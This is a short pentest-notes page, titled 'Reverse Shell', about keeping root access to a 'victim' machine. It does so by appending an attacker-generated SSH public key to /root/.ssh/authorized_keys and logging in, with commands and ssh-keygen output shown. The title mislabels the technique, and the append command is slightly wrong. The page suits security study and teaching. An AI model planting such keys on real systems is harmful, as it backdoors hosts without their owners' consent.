Comment on page

Reverse Shell

Add a SSH public key to authorized_keys file

First in local (attacker) machine generate the keys:
ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/lanzt/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /lanzt/.ssh/id_rsa
Your public key has been saved in /lanzt/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:ADX2SSwT+Ve8tJz0BsHd3PQ3fi7IDqP0Jix8oEGsmYk lanzt@yuyu
The key's randomart image is:
+---[RSA 3072]----+
| ..=+. o.o +o|
| o++.. B . =|
| . .+o = * .o|
| o .. . = + o|
| . * S. . ..|
|E = . . . . ..|
| + o. o o . .|
| . o.+o.+ . |
| o.o. . |
+----[SHA256]-----+
We generated 2 files:
  • id_rsa: Private key
  • id_rsa.pub: Public key
In remote (victim) machine add the id_rsa.pub content to authorized_keys file:
cat ~/.ssh/id_rsa.pub >> /root/.ssh/authorized_keys
And finally enter to victim (remote) machine:
ssh root@<ip_victim>